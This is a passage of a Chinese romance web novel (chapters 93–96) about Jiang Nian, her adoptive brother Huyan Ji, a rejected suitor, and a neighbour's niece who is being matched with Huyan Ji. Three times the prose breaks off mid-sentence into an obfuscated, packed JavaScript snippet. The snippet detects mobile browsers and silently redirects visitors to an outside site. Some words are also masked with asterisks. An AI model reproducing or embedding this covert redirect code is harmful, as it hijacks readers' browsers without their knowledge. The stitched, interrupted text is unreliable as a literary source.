两人又细细说了些话,外面还有好几波客人等着问询,江念忙忙碌碌一上午,到了中午才喘口气,刚走进制香隔间,就见安努尔坐在那里,正在翻看桌案上的香谱。 “看来我得给你涨工钱了。”安努尔笑道。 江念给自己倒了一杯茶,捧在手里,轻轻抿了几口润喉,微笑道:“东家是该给我涨工钱,我一人可抵得上两人了,得给我开双份。” “这个要求不过分,不如你到我安家来,别说双份,多少份都是你说了算,如何?” 这是真心话还是玩笑话,又或是借着玩笑道真心,江念笑着不再言语,只顾喝着手里的茶。 安努尔嘴角仍是带笑,温声道:“阿念,你坐一坐,我有话和你说。” 江念点头,走到他的对面坐下。 男人将手里的香谱放回桌案,认真问道:“那日我的话,你可曾认真想过……” 第93章 又不是亲姐弟 安努尔的意思再明了不过,他喜欢眼前这个女子,不得不承认,一开始他被她花一般的容貌吸引,他是个男人,是男人便逃不过这一劣根性。 后面,他使了小手段,让她院子闹贼,原以为她会害怕寻求依助,只消他稍稍一开口,抛个话引,她必然就应下重回安家,求一个庇护。 稀世之美人儿哪有不娇弱的,然而,他料错了,她手执木棍不见丝毫退缩,还特制了迷香粉。 一个小女人,哪就这般大的胆子。 因为她的出现,他往来四季轩更加频繁,看她潜心研香,看她同客人交谈,言语往来游刃有余,哪怕身着素服常衣,也让人移不开眼。 好像只要她立在哪里,哪里就是中心。 江念将茶杯捧在手里,开口道:“安阿兄,你的意思我明了,承你青眼,只是我现在还不想嫁人。” “是因为延吉么?” 江念笑了笑:“你听他胡说,我自己的事哪需经过他的同意,是我自己的原因。” 安努尔笑着摇头道:“阿念,你没明白我意思,我的意思是,是因为延吉?如果是他开口,想要求娶于你,你是愿意的,对么?” 江念怔愣着看向安努尔,又把眼睛垂向手里的茶杯。 安努尔可不是石儿禄,打他见那小子的第一眼,就感受到了强大的敌意,这种敌意绝非出自姐弟,只会出自一个男人对心上人的占有。 而且霸道得不允许任何人惦记。 江念不愿往下谈,可安努尔不打算放过她,继续道:“阿念,同为男人,我说一句你不爱听的,他若真想娶你,不会让你等,你在赌,赌他的良心,可很多时候,等到最后也只能是空。” 男人又道:“阿念,你若到我安家,我必定好好待你。” 江念想了想,微笑道:“安阿兄,可否问你一事?” “只管问来。” “安阿兄娶了我打算怎样安置我?是为妻,还是奴妻?” 安努尔怔了怔,说道:“自然为妻,怎会是奴妻。” 江念点了点头,又问:“小妹再厚颜问一句,子嗣呢?” 安努尔便不言语了,这个问题他暂且没想过,梁人同夷越人结合,生下的孩子无论在梁国还是夷越,都不被待见,被人称之为“杂种”。 “这也好办,再给他生一个兄弟,有个兄弟依靠,这孩子做个富贵闲人便可。” 再生一个兄弟,什么兄弟,自然是再娶一夷越女子为妻室,生一个纯正的夷越孩子,继承安家家业,然后那个被叫“杂种”的孩子此生依着安家的财富,衣食无忧。 江念一身骄傲惯了,怎能让自己的孩子落入那般不堪的境地,一生仰仗他人鼻息而活。 “安阿兄,我不愿意。” 安努尔想不明白,他当然不能明白,在他看来,江念不过是一个身家清贫的蓬户女子,她若嫁到安家,衣食无忧不说,他们的孩子也能衣食无忧。 这是多少普通人几辈子也达不到的高度。 他会给她无限的宠爱和尊重,也会偏爱他们的孩子,就算那孩子的身份登不得明面,他仍会替他谋划一个今生富贵,这样还不够? 别说是他了,就是石儿禄,考虑的不一定有他周全,江念是梁人,同夷越人生出的孩子注定不被待见,这个问题避无可避。 安努尔转口问道:“你若是因为这个忧虑,那延吉呢?他也是夷越男儿,不是么?除非你不找夷越人,而是回梁国,只要你在这片土地之上,这个问题一直存在,要么你选择一生不嫁人。” 可问题是,江念回不了大梁,她是罪臣之后,是逃犯,今生只怕再难回大梁。 江念默然了,安努尔也不想迫她太紧,缓了缓:“阿念,此事你再好好思虑,我等得起。” 就这么过了三两日,呼延吉每日送她去香料铺子上工,天暗时再赶着驴车接她归家,不知道的还以为这是一对平常夫妻。 江念不知他准备在徽城待多久,那晚他醉酒说他要多待些时日。 这日,两人正在院中用饭,院门响起,呼延吉开口道:“给你买的人来了。” 秋月前去开门,见门外站着一个头扎双鬟,看起来十岁出头的小丫头。 “你是?” 小丫头亮着一双眼,越过秋月的胳膊,向院里看去:“我……我找念念阿姐。” 正巧江念也看了过去,惊呼一声:“珠珠?!” 秋月忙将院门大开,把小丫头让进院中。 珠珠跑到江念身边,先是看了一眼桌边的呼延吉,见他压了压手,知道不必行礼,便拉着江念一个劲地笑,又去抱她,还把胳膊露出来,展出腕间的珊瑚手串。 “怎么是你呢?”江念言语中掩不住的惊喜,说着看向呼延吉。 “主人问……问我愿不愿意来伺候念念阿姐,我愿意。”珠珠怕话没说清楚,又复说:“我愿意。” 江念心里高兴,拉着她好生看了看,关心道:“吃过了么?” 珠珠笑着摇头,饿着肚子也开心。 秋月在旁边笑道:“阿姑,我带她去灶房用饭。” 江念笑着点了点头,因呼延吉同住,秋月便不同桌了,在灶房另支了一张小桌,正好珠珠来了,秋月带着小丫头坐那小桌用饭。 “这个可还行?”呼延吉问道。 江念坐回桌边,笑着不说话,呼延吉见她笑了,心情也跟着好起来。 只是如此一来,江念的房中又多了一人,秋月仍是睡脚榻,江念让珠珠同她睡一处,珠珠不肯,怕挤到她,最后把窗榻上的小桌挪开,铺上一床褥子,歇在了窗榻上。 接下来的一个月,呼延吉一直伴在江念身边,送她去了香料铺子后便离开,也不去店中缠扰她,倒是石儿禄经常到店中寻她,她也没空档应付他,后来石儿禄见她忙成那样,便不去店里了,等她下工后,去桂花巷子找她。 “阿念,你看这个喜不喜?”男人拿出一个镂花金镯,他家是做珠宝生意的,最不缺的就是这些金银饰物。 江念认真地看了看,回答:“喜欢……”喜欢二字才一脱口,身后的气息有了变化,胳膊上的细毛立起,忙改口:“不喜欢,不喜欢,我不喜欢金银珠宝,都是一些俗物。” 说罢,碎着步子出了院门,去了隔壁情姑家。 石儿禄一噎,明明上次她见着那枚海棠簪子,眼睛都痴了。 “我阿姐说她不 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“这里面多半有你的原因,你看这个不顺眼,那个不顺眼,这才把她耽误了,你就不怕她年岁再大一些,嫁不出去?”石儿禄说道。 “嫁不出去便嫁不出去,我又不是不能养她。”男人嘴角勾出一抹笑。 见到他这副不恭的姿态,石儿禄脑子里突然闪现安努尔那晚的话:她愿同你谈笑,是因为你生得像她的情郎…… 这个念头一旦生成,压也压不住。 “你……你和她不是……” 呼延吉嗤笑一声:“是,是姐弟,没错,但那又如何,又不是亲的。” 一语毕,石儿禄腾地站起,指骂道:“延吉,我把你当兄弟看待,见你年纪小,对你多有照顾,你……你……人都说兔子还不吃窝边草呢,你这小子蔫坏,不仅吃,还连根拔起,不许旁人吃。” 呼延吉那脾气除了受江念的气,哪里容人对他指点,站起身,他这一站,石儿禄才发现,二十出头的儿郎居然比他体格还高大。 呼延吉眼往下一压,冷声道:“兔子不吃窝边草,我又不是兔子。”他儿时便盯中的猎物,谁敢从他獠牙下夺食。 石儿禄往后跌了一步,一屁股重坐到椅上。安努儿的那句话不停地在他脑中荡来荡去。 所以说,阿念对他有三分好脸,是因为眼前这人? 江念回到院中时,石儿禄已经走了。 “石儿郎君走了?” “走了。”呼延吉显得心情不错的样子,心想着,这个石儿禄倒是好打发,就是那个安努尔有些棘手。 而刚才,江念去情姑院子,却是另一番情景。 “算着日子,我那侄女明日就到,我在自家院子治一桌酒,你看你那边能不能告一日假,你们一道过来吃一席,我让我家侄女在屋子里相看相看,毕竟是女儿家,也不好大剌剌露面。” 江念每日忙得睁眼就在香料铺子,闭眼就回屋歇息,情姑不提,她差点忘了还有这一茬。 情姑要把她家侄女儿说给呼延吉…… 第94章 软软的钩子 先前她一再阻拒,又不好把话说得太直白,不想伤了邻里间的情面,奈何情姑就是看中了呼延吉,一心要给她家侄女做媒。 “明日我去店里告一日的假。”江念想了想,也不怕她听了不高兴,又补了一句,“他这人不好相处,对女儿家也不懂怜香惜玉,而且……” “而且什么?” 女人不自觉将声音压低,悄声道:“他好似有心上人了。”说着脸有些发热。 情姑“哎呀——”一声:“有心上人了又如何,你阿弟又没有妻室,就算有妻室了,在咱们夷越也不是什么大事,这里同你们梁国不一样。” 情姑往江念跟前凑了凑,笑道:“不是我自夸,我那侄女年岁十六,正值好青春,容貌也好,延吉指定一见就喜欢上了。” 江念心里烦躁,随口道:“明儿我得亲自看一看,是不是真如你说的这般好。” 情姑一听这话音,赶紧转过话头:“那是自然,肯定得先让你这个阿姐满意。” 江念回了自家小院,有些心不在焉,不知该怎么同呼延吉说这个事情。 “明日我在家中休一日。”江念说道。 呼延吉一听,来了兴头,双眸盛光:“那明日我带你去城外转一转?” 他并没有多少时间,虽然从前常年在外征战,但只要战事终止,便立即回王庭,这次夺取定州后,又平疫灾,已在外逗留许久,为的就是想伴在她身边。 可她每日一大早去香料铺子,直到天暗才回,这院子又小,还有两个丫鬟进进出出,他想同她亲近亲近也是不易。 江念坐到竹椅上,呼延吉便屈身到她跟前,等她答话。 “明儿隔壁的情姑备了酒菜,请我们过去吃酒。”江念说道。 呼延吉脸上的喜色淡了些:“你就不能留些时间给我?我丢下那大一个摊子,在这儿为得谁?” 完了,完了,江念后面的话被他这句话彻底堵死,全然无法开口。 呼延吉看了她两眼,察觉到不对,他太了解她了,一抖嗓子就知道她要唱哪出戏。 “又是什么事。”呼延吉从她身边站起,坐到刚才石儿禄坐过的竹椅上。 “就是你才来的那会儿……”江念还在酝酿言辞。 “你别扯,说重点。” 男人声音稍稍一大,心虚之下江念脱口而出:“情姑想把她侄女儿说给你。” 接下来便是寂寂的一刹那,女人的眼睛看着裙下露出的半截脚,数着鞋面上有几朵小花,一朵,两朵,三朵……不对,不对,重新数。 珠珠正要拿茶出来,给院里的人续茶,却被秋月拉住,暗暗摆了摆手,于是两人又退回屋里。 安静中男人一声嗤笑,只听他道:“行呐,明儿我去见一见,阿姐也给我端相端相。” 呼延吉唤她“阿姐”只有两种情况,一种是他心情极好时,一种是他心情极不好时,不用想,这会儿一定属于后者。 男人撩衣起身,回了屋子,这一夜再没出来。 次日,情姑请了江念同呼延吉到家里做客。 情姑的院子比她那院子大一些,院角有一口井,院墙边开了一块地,里面种了些瓜蔬。 江念来过不止一次,今日却在院中四顾打量起来,又借着打量的工夫,轻描淡写地看向主屋的窗扇。 那窗半掩着,里面暗着,亮处看暗处,看不清明,可暗处看亮处,却分外眼明。 “看什么?”呼延吉走到江念身边,将腰身倾到一个恰到好处的弧度,使自己的视线同她齐平,然后循着她来不及收回的目光看去。 男人弯起嘴角“嗯——”了一声,尾音上挑,气音轻颤,透着点玩味:“这是迫不及待要看弟媳了?” 说着勾起唇角一笑,那眼仍不收回。 男人这一笑的同时,屋里响出一点动静,不知什么东西倒了。 江念赶紧扭过身,走向一边,离了呼延吉,问情姑:“小柴头呢?” 情姑同她男人忙进忙出,将菜肴酒馔摆上院子里的桌面。 “丢到别家了,晚些再接回来,不管他。”情姑说着话,眼却往屋里瞟。 江念将她的神情看在眼里。 “略备一点薄酒,小阿郎莫要见怪。”情姑转头看向呼延吉。 “怎会见怪,我也想尝尝嫂子的厨艺。”呼延吉随和说道。 情姑听了欢喜得了不得,对着江念睇眼色,那意思是说,你还说你阿弟性子不好,这不挺好的么,嘴甜讨人喜欢。 菜馔上齐,烧鸡烧鹅、鲜鱼肉炸,还有各类果品,又有醇香美酿,堆垒一桌。 情姑有家铺子,比普通人家的境况稍稍强些,摆这么一桌丰富肉肴不难。 “当家的,你先举杯请一请小阿郎。” 情姑是个爽利性,她男人却是个不善言辞的,举杯敬向呼延吉,让他随意。 呼延吉回举,一杯见底,情姑见了,赶紧执酒壶为他续上。 情姑杵了杵江念的胳膊,悄声笑道:“这可真是天缘凑巧,你租下我的院子,才有了这一桩好事。” 正说着,一个俏皮的女声响过来:“姑母怎的不叫真儿用晚饭,自己先吃起来。” 众人看去,只见屋中走出一少女,十六七岁的模样,少女一头浓发分成两股,编成麻花摆在身前,麻花辫里还缠织着五彩绫丝。 清灵灵的一双眼,像是水洗过的曜石,不是绝丽的姿色,可是少女身上青春的气息便是最美。 情姑起身,拉着少女坐到自己身侧:“你才到徽城,远驾劳乏,我想你必是歇下了,便没叫你,不承想你这馋嘴嗅着酒饭香醒了。”又指向江念道:“这是隔壁的阿姑,姓江,她长你几岁,你唤阿姐罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371282|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 少女看了一眼江念,甜甜地叫了一声,江阿姐。 江念嘴里应着,心惶地发现一件事,她和眼前的少女居然相差了十岁! “阿念,这就是我跟你提及的侄女儿,叫真儿,从安城来的,家里做典当行的营生,小户人家的女儿比不上那些千金贵女,不过小户人家的女儿也有她的好,性格随和,不像那些高门大户人家的,都是站在云上的人儿,需让人供着、迁就着。” 情姑碎碎说着,“这两人在一起过日子,就得相互忍让,得找个性子软和一些的,日子才能过得舒心顺遂,我这侄女儿,性格开朗,人人见着她都愿多疼两分。” “姑母,你看看你,吃个饭,说这些做什么,还有人在呢。” 少女娇嗔道,一点愠色化成少女腮上淡淡的胭脂,不经意间一抬眼,看向江念这边,不,应该是看向江念身侧的呼延吉,然后那脸就更红了。 “好,好,我不说,我也真是,说了一车的话,搅得你们没吃几筷子菜。”情姑刚准备结束密集的话语,想起一事,又道,“看我这人,尽说废话了,来,真儿,这位郎君是你江阿姐的阿弟,延吉,年长你三四岁,快快唤阿兄。” 少女脸颊红扑扑,笑着向呼延吉行礼:“阿兄。” 呼延吉起身,还了半礼:“真儿?” 呼延吉的声音本就好听,干净的声线裹着阳光的懒意,那尾音一翘,就跟软软的钩子,挑撩着。 少女羞着低下头,两手在身前绞着,再难抬头的样子。 情姑见此满心欢喜,各人归座吃喝絮谈,多半还是情姑在说,江念勉为其难地应和,呼延吉轻松地喝着酒,不经意间瞥一眼那名叫真儿的少女。 江念感知后,抬起一脚踩在他的脚上。 呼延吉“嘶——”了一声,对面的真儿立马关心道:“阿兄怎么了?” “无事,吃了一口‘辣子’。” “那快喝些清茶。”情姑用下巴指了指,“丫头,快给你阿兄倒一盏茶。” 真儿忙起身,走到呼延吉身侧,替他倒了一盏清茶:“阿兄,用茶,仔细辣着喉咙。” 呼延吉在桌面叩手道谢,意味深长地说:“无事,辣习惯了。” 真儿坐回,关心道:“阿兄若是不能吃辣,以后还是别吃了,伤身子。” 江念看向真儿,笑道:“真儿不知,他就喜欢吃辣的,越辣越喜欢。” 真儿笑着摇了摇头:“江阿姐这话错了,吉阿兄能不能吃辣只有他自己知道,江阿姐以为他喜欢,其实吉阿兄可能并不喜欢。” 江念不再说什么,就这么吃到夜色渐浓,方才散了,江念同呼延吉回了自家小院,两人一前一后各自回房。 回屋后,江念沉沉得发了一会儿呆,呆过后又出了屋,走到对过门前,敲响房门…… 第95章 鲜嫩的气息 江念从屋里出来,走到对面,敲响房门。 “阿姐?”男人的声音从屋里传来。 江念“嗯”了一声:“我想同你说……” 话未说完,呼延吉的声音将她打断:“要紧事么?我睡下了。” 江念在暗暗的走道里站了站:“不是要紧事,你休息罢。” 就这么过了一夜。 夷越早晚温差,晨夕起雾。 次日一大早,空中薄雾未散,秋月去灶房烧饭,珠珠伺候江念梳洗。 待饭烧好,天已大亮,早饭刚摆上桌,院门被敲响。 秋月前去开门,门外站着正是情姑的侄女,真儿。 “江阿姐,你们用早饭呢,吉阿兄在么?” “他出去……” 江念刚要说呼延吉不在,因他每日早晨会赶着驴车在巷口等她,然而,话才脱口就见呼延吉一身清爽地从屋中走来。 “吉阿兄!” 少女捉裙上了台阶,走到呼延吉身边:“阿兄,我初来徽城,一会儿你可否带我去城外游玩?” 呼延吉笑了笑:“你姑母不带你转一转” “姑母有店子要照看,抽不出多的时间来。”少女说得有些委屈。 呼延吉看了眼院中的江念,问道:“阿姐今日可否自行去香料铺子?” 江念见真儿睁着一双清亮的眼,看着自己,微笑道:“你陪真儿,她难得来,香料铺子不远,我走着就能去。” 呼延吉颔首,带着人出了院门。 用**后,江念便去了香料铺子,这一日不知是怎么过的,天暗时,收好调香间的器具,同店伙计招呼了一声出了店门,在门首空站了一会儿。 “香工,今儿怎么不见小阿郎来接你?”店伙计收好门板,闭店。 江念回头笑了笑,走了,走在回去的路上,听见身后车轮辘辘,忙回头看去。 “让道——让道——”车夫赶着驴车从江念身边“得得”经过。 江念回身,继续往回走去,只是心情比刚才沉了三分,这路比往常远了七分,脚下走不动似的。 终于回到桂花巷,远远就听到少女的笑声,像风铃一般随风飘来…… 院门半敞,那门隙间的情景直直撞进了江念的眼中。 少女坐在台阶上,抱着膝,歪头笑着,腮边衔着略略汗湿的丝发,亮泽的脸颊透出可人的红晕。 呼延吉则坐在高她两层的台阶之上,一腿屈起,一腿打直,嘴角含笑,眼向下看着少女。 同她一比,江念只觉得自己像一块朽木,她的身上已没了鲜嫩的气息,不仅不鲜嫩,还是被染过色的,同少女天然的姿容一比,简直没法看。 这份向上的力量,她有,他也有,她却没有…… 在她思索的一瞬,呼延吉的目光穿过门隙同她的对上,江念压下心头的杂念,推门而入。 “江阿姐,你回了?”真儿从台阶站起身,笑道,“阿兄今日陪我去了城外,还教我骑马呢。” 江念回以一笑,又看向呼延吉,他也正笑着看向她。 “你们用晚饭了?”江念问道。 少女听了,从旁抢过话头:“吃了,阿兄带我在街边吃的各类小食,有烧串、香饼,还有饮子,还买了许多小玩意儿。”说着,回身拿过一个包袱,打开,里面果然有许多琳琅饰物,“江阿姐,你看看喜欢哪一个,我送给你。” 江念笑得有些吃力:“不用,你留着玩,我有些累了,先回屋,你们聊你们的。” 说罢,提裙上了台阶,快步往屋里走去,翻动的裙摆带起一阵风。 江念反手闭上房门,仍能隐隐听到院中男女的交谈声,三两步走到窗榻前坐下,给自己倒了一杯茶。 “珠珠,你在做什么?” 女孩抬起头,笑道:“念念姐姐,刚……刚真儿姐给我的这个。” 江念向她手上看去,是一个设计精巧的玩偶。 “还给我这个。”珠珠又拿过一物,是一个彩色泥塑,然后悄声儿道,“王给她买了好些,她让……让我挑,我就拿了这两个。” 江念点了点头:“你玩罢。” 外面又是一阵铃铃的笑声,女人起身走到门前,倾耳靠上门,想要听得更清楚,突然门被叩响,吓得江念一慌,不等她反应,声音透门而来。 “阿姑,饭好了,出来用饭。” 是秋月的声音。 江念同珠珠出了房门,真儿便要辞去,江念留她不住。 少女离去前看向呼延吉,笑道:“吉阿兄,明日别忘了。” 呼延吉回以一笑。 待真儿出了院门,呼延吉也起身回屋,前一脚刚进屋,江念后一脚跟上,也进到屋中。 “你不该同她走得这样近。”江念说道。 呼延吉似是没听见一般,只管扯开身上的衣带,褪去外衫,只着一件月白色的里衣。 “我说的你可听见了?”女人下意识往前一步。 “为何?”呼延吉松了松衣襟,拿过一把草扇悠悠打着,他实在怕热,这屋里连个冰块也没有。 江念言语带了丝责备:“她那么个年纪,哪经得起你挑眼。” “哦?所以阿姐经得起我挑眼了?”男人戏谑道。 “我可没同你开玩笑。” 呼延吉正色道:“阿姐又怎知我在玩笑,她年岁小,百伶百俐,招人喜欢,我多待她几分耐心,不也很正常么?哪里像在玩笑?” 这一下轮到江念说不出话,目光往旁边避去,缓了缓,想起刚才真儿离开前,让呼延吉明日别忘了,鬼使神差地问了一句:“你们明日……” “明日带她去城外学习骑马,顺道去小叶山,听说那里有一片桃林,有桃果儿。”呼延吉说道。 “左右明日我也无事,好久没去城外了,随你们同去罢。”江念说道。 “你不是要去香料铺子上工么?” “明日休一天。”江念说着,出了屋。 次日,众人准备行当,叫了一辆马车,真儿,秋月还有珠珠乘于马车,呼延吉和江念骑马在前慢行,队里还跟了呼延吉的小厮,那个叫阿丑的,另有几个便衣护卫,这些人一直隐在桂花巷周围。 待一行人到城外的郊野时,太阳已是高高挂起,寻了一蔽阴处,停下车马。 “江阿姐,想不到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371283|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会骑马,我就不会。”真儿摸了摸刚才江念骑的那匹小马儿,转而又笑道,“不过阿兄说骑马不难,他包把我教会呢。” 江念也来了兴儿,想要现现眼:“真儿,你坐到马上,我来教你,我比他教得好呢。” 其实这话也没错,江念走马那会儿,是江府请了专业的马师从中指导,再一个江念同为女子,更能知道女子**马时的长短处。 呼延吉不同,他的马技是自然而成的,怎么说呢,他会骑马,就像是生在马背上,与马融为一体,但你要问他有哪些注意要点,他不一定讲得明白,只知道就该这么骑。 真儿听罢,有些迟疑,却又不好拂江念的面子,只好翻身上了马背。 江念也怕出意外,便只在附近牵着马绳慢走,一面走,一面说着要点。 “背要打直,腰际放松,身子尽量往下沉,像要‘坐进’马鞍里。” 江念看了一眼,点点头:“不必太过紧张,放松就好,小腿贴着马腹,膝处自然弯曲,腿部和手上的辔绳需配合,我现在把辔绳松开,你自己勒绳试一试。” “我有些害怕,换我牵绳,马儿会不会自己跑开?”少女担忧道。 “莫怕,没事的。” 少女栗栗自危,江念稍一松绳,她就要哭出来似的,江念再三劝解,仍是无用。 “这也怕,那也怕,怎么学习骑马,若是真怕,不学也罢。”不知不觉中江念的语气带上当年马师的口吻。 当年马师训她,可是一点情面不留。 真儿一听,面皮涨红,只得试着自己勒绳,驱马缓缓前行,然后再掉转马头走到江念跟前。 “真的可以!”少女欣喜道。 江念又给真儿指正几点错处,此时身上已出了一层热汗。 也是合该出事,那马儿不知怎的踩到一条麻绳上,马儿怕蛇,踩着那物儿,眨眼之间不受控起来,前后蹄子比着往高了踢,像要登天一般。 江念赶紧扯住缰绳,可她气力不够,完全制压不住。 一个人影儿急奔而来,绕过她,从她手里扯过绳。 江念趔趄后退,就见呼延吉全身紧绷,缰绳绞住他的指,一面蓄力强压马头,一面发出“吁——”声,待那马儿安定下来,一把将马背上的真儿揽了下来…… “没事罢?” 女子显然被吓住了,连呼延吉问她话也不知回答,直到呼延吉问她第二遍:“有没有事?” 这一会儿,她才缓过劲,那眼泪立时就滚落下来:“吉阿兄,我以为我刚才要**……” 呼延吉安抚了几句,走到江念身边,眼向下移,落到她的手上,女人的手半掩在长长的衣袖下。 “伤到没有?” 江念缓了缓面色,吞咽了一下,只觉得那口水滑进喉咙眼都是凉的,一张俊庞褪去粉腻只剩下白。 “无事,我无事。” 呼延吉又看了她两眼,颔首道:“去那边树下歇息罢,他们备了吃的。” 江念点头,掉过身往不远处的树下走去,走了几步再回首,就见呼延吉重将真儿抱上马背,他在前牵马缓缓走着…… 第96章 婚事 江念走到树下,秋月搬来一张杌子与她坐,珠珠端来一盘烧好的野味。 “念念阿姐,吃这个,我烤的。”女孩说道。 江念笑着接过,一边的秋月“呀——”了一声:“这手怎么伤成这样?!” 只见女人手心凸起几道红肿棱子,隐要渗血的样子。 “我去跟阿郎说,回去罢,这一趟出来也没带药膏。”秋月焦急道。 江念本是特别娇气的一人儿,稍有一点疼就会喊出来,可她这会儿不想被人看低了,再加上刚才真儿来那么一下,她再叫嚷疼痛的话,有些和她争娇邀宠的嫌疑。 “无事,也没破皮,就是被勒了一下,一会儿就消了,你看你小题大做的。”江念取过一根木签子,哆嗦着从盘里扎取一片焦黄的肉,再哆嗦着放到嘴里,慢慢咀嚼。 其实那手心像握着一块炭似的,烧得火辣辣地疼,她却不表现出来。 秋月便不再说了。 这时旁边有一人说道:“看见没,昨日我就说了,这个真儿是个有造化的,不信咱们走着瞧,主子这次回去,定会将她上。” 又一声音说道:“我看不见得。” 江念一听,暗暗点头,心道,看来还是有明白人,不想那人接着又说:“主子怎会带一个小门小户女子回去,多半会养在外面,也是个趣儿。” 此话一出,旁边之人纷纷迎合。 阿丑见自己的话得到认可,有些得意,忽觉芒刺在背,掉头一看,立即来了个大转弯,对着身边另几个侍从道:“那丫头小模小样的,主子根本看不上,诶——看不上!” 一面说着,眼睛还一面往后瞥,生怕江念没听见,故意把声调扬得老高。 他可是最清楚,自家主人为何在外逗留这般久,战事完了仍不回王庭,不是为了身后这位,又是为了谁? “丑奴儿,你刚才不还说,养在外面么?这会儿怎么又改口了?”一个侍卫笑道。 “你懂什么,我说养在外面,那是当妹子给些照顾。”阿丑说着扬指点了点周围几人,鄙夷道,“瞧瞧你们这些人,尽想着裤裆子那点事。” 接着响起一片哄闹声,又戛然而止,原是两人一马往这边行来。 呼延吉将马绳甩给侍从,走到离江念不远的一块大石坐下。 斜光中,江念见他额上出了不少汗,雪青色的缺胯袍稀皱在后背,兴是热得狠了,他便松开护袖,敞着袖口,仍嫌不够,干脆把两边袖子捋起来,露出一截沉蜜色劲实的小臂。 一道青绿的身影像雀儿一样飞了过来。 “吉阿兄,喝口饮子。”少女一手提壶,一手擒杯,言语间尽是活泼。 呼延吉便接过茶杯,女子倾下茶壶,倒出粉津的凉饮于杯中。 女子依坐到呼延吉身边的一块小石上,又给自己倒了一杯,然后慢慢喝着。 “吉阿兄,刚才得亏有你。”少女说着,也不知是有意还是无意,瞥了眼江念那边。 这话并没有故意避着江念,一字不差地落入她的耳中,江念有些后悔,今日不该跟了来,显得她十分多余。 可她总是这样,面子比心里的委屈更重要,所以不愿表现出一点点异样,只当没听见那话似的,端坐在那里,吹着树下风。 “阿姑,我再给你倒一杯饮子罢?”秋月说道。 江念“嗯”了一声。 秋月拿起壶,倒了一杯递到江念面前,江念抬手接过,放到嘴边,慢慢喝着。 呼延吉一杯饮尽,将茶杯在指间把玩,两条胳膊搁在膝上,垂下的余光中,见江念手心攥着衣袖,拿杯的手势有些不自然,偏这时,一边的真儿问呼延吉是否再续饮。 呼延吉不知听没听见,没给出回应,起身走到江念跟前,说道:“手给我看看。” 被他发现掌心的勒痕更加难堪,她情愿伤痕不知不觉中恢复,也不想让他知晓。 “我喝茶呢,手心有什么可看的。” 呼延吉不再多话,夺过她手里的茶杯,趁她还没反应,将她的掌心拂开。 “你是真能忍!吭也不吭一声,我看你这双手是不想要了。”呼延吉说道。 江念不经意一瞥,一口凉气倒吸,刚才还只是几道棱子,这会儿已肿成一片,有些地方开始渗血斑。 原本还要去小叶山的,也不去了。 呼延吉带着江念骑马先回,其他人打后。 真儿听说不去小叶山后,未免失落,见呼延吉带江念先走,心里升起一丝怨嗔,却又不好表露。 呼延吉带着江念纵马往城内行去…… 马儿并没有行得太急,始终保持着一个不快不慢的速度。 进了城门,找了一家大医馆,让大夫上药包扎,大夫又嘱咐,需好生养几日,千万不要碰水。 江念制备香料哪有不碰水的,没法子,只好向安努尔告几日假,不凑巧,安努尔又去了外城办事,不在徽城,只好找上掌柜的。 掌柜的一听江念要休几日,初时有些不情愿,认为她小题大做,不过就是手上勒了几道红痕。 江念见他言辞闪烁,没个爽利样儿,冷下声调:“掌柜的若是不愿我告假,那我只能走人,左右不能为了赚钱把自己的手给废掉。” “香工这是哪里的话,你只管休,手上的伤几时好几时来,只是……你也知道,这店里少不得你,香工平日若能抽出空档来走两遭……”掌柜的又赶着说了一句,“当然,不要你动手,只来转一转,你看成不成?” 江念不好再说什么,点头应了,就这样,有了几天闲散日子,其实她也有私心,自打呼延吉住到这里,她有些忽视他了,正巧这几日是个机会,可以多些时间陪他。 待江念兴兴头头地回了桂花巷,经过情姑门前时,被她叫住。 “你还说你阿弟性子不好,这不挺好的,今儿一大早,他二人又去了小叶山。” “小叶山?”江念反问道。 情姑笑道:“可不是,昨儿你们不是没去成么,那丫头回来就一脸不高兴,这不,延吉今儿带她再去一趟。” 江念愣磕磕地点了点头。 情姑杵了她一下:“你是不是哪里不舒服?” “没有,就是才回来,热了一路,有些燥。”说着,江念拭了拭额上的汗。 情姑拉着江念走到自家院子:“你坐,我才泡了些梅饮,用井水浸过,你喝着解解渴。”说着进了屋子,不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371284|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿端了一个托盘出来,从盘里拿了两碟子细果,又给江念把梅饮沏上:“你今日不去铺子里?” “才从铺子回来,这不是因为伤了手。”江念端起茶杯,心不在焉地喝了一口。 情姑溜了一眼江念的手,忧心道:“昨日我那侄女儿回来说了。” “是我没看顾好她,险些让她从马上摔下来。”江念说道。 